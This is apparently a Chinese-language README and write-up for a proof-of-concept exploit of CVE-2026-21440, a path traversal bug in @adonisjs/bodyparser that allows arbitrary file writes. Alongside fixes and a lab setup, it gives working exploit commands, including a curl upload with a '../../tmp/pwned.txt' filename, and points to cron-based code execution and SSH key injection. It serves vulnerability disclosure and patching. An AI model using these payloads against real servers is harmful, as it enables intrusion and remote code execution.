poc 和 writeup 针对 cve-2026-21440:@adonisjs/bodyparser 中的一个严重路径遍历漏洞,允许任意文件写入
@adonisjs/bodyparser 中的路径遍历导致任意文件写入
@adonisjs/bodyparser 包中存在一个严重的路径遍历漏洞,允许远程攻击者在预期上传目录之外写入任意文件。当调用 multipartfile.move() 函数时,如果没有显式提供经过清理的文件名,解析器会默认使用客户端提供的文件名,且未进行适当的清理。
由于实现使用了 path.join() 且 options.overwrite 默认为 true,攻击者可以构造包含目录遍历序列的恶意文件名(例如 ../../etc/cron.d/malicious),从而在文件系统的任意位置写入文件,可能导致远程代码执行。
| 属性 | 值 |
|---|---|
| CVE ID | cve-2026-21440 |
| CWE 分类 | cwe-22:路径名限制不当('路径遍历') |
| CVSS v3.1 评分 | 9.2(严重) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
该漏洞存在于 multipartfile.move(location, options?) 方法中。当开发人员调用此方法时,如果没有提供 options.name,代码会默认使用 this.clientName —— 即客户端发送的原始文件名 —— 且未进行清理。
// @adonisjs/bodyparser 中的漏洞代码路径
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
const fileName = options?.name || this.clientName // ← 未清理的客户端输入
const filePath = path.join(location, fileName) // ← path.join 允许遍历
// ...
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
┌─────────────────────────────────────────────────────────────────┐
│ 攻击者 │
└─────────────────────────────────────────────────────────────────┘
│
│ multipart/form-data
│ filename="../../etc/cron.d/pwned"
▼
┌─────────────────────────────────────────────────────────────────┐
│ 存在漏洞的 AdonisJS 应用 │
│ │
│ request.file('upload') │
│ │ │
│ ▼ │
│ file.move(app.tmpPath()) ← 未提供经过清理的名称 │
│ │ │
│ ▼ │
│ path.join('/tmp/uploads', '../../etc/cron.d/pwned') │
│ │ │
│ ▼ │
│ 解析为: /etc/cron.d/pwned │
│ │ │
│ ▼ │
│ 文件被写入上传目录之外 │
└─────────────────────────────────────────────────────────────────┘
│
▼
任意文件写入
→ 通过 cron 实现 RCE
→ 配置覆盖
→ SSH 密钥注入
| 包 | 受影响版本 | 已修补版本 |
|---|---|---|
@adonisjs/bodyparser | ≤ 10.1.1 | 10.1.2 |
@adonisjs/bodyparser | 11.0.0-next.1 至 11.0.0-next.5 | 11.0.0-next.6 |
@adonisjs/bodyparser 版本file.move() 时未提供显式的 name 选项# 进入漏洞利用目录
cd Exploit-PoC
# 安装依赖
pip install -r requirements.txt
# 运行漏洞利用
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
curl -X POST http://target:3333/upload \
-F "[email protected];filename=../../tmp/pwned.txt"
// ❌ 存在漏洞 - 使用客户端提供的文件名
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
await file.move(app.tmpPath()) // clientName 被用作文件名
}
return response.ok({ message: 'uploaded' })
}
// ✅ 安全 - 生成经过清理的文件名
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
// 使用原始扩展名生成唯一文件名
const ext = path.extname(file.clientName).toLowerCase()
const safeName = `${cuid()}${ext}`
await file.move(app.tmpPath(), {
name: safeName,
overwrite: false // 防止覆盖
})
}
return response.ok({ message: 'uploaded' })
}
@adonisjs/bodyparser 更新到已修补版本# 克隆仓库
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440
# 启动存在漏洞的环境
docker-compose up --build
# 在另一个终端中运行漏洞利用
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"
# 验证文件是否被写入上传目录之外
docker-compose exec app cat /app/test.txt
| 日期 | 事件 |
|---|---|
| 2026-01-02 | 在 10.1.2 和 11.0.0-next.6 中发布补丁 |
| 2026-01-02 | 发布 ghsa-gvq6-hvvp-h34h |
| 2026-01-02 | 分配 cve-2026-21440 |
| 2026-01-02 | 由 NVD 发布 |
本仓库仅供教育和授权安全研究目的使用。概念验证代码旨在帮助安全专业人员在获得授权的环境中理解和测试此漏洞。
未经授权访问计算机系统是违法的。 作者对滥用此信息不承担任何责任。在测试漏洞之前,请务必获得适当的授权。
由 k0nnect 用 ☕ 研究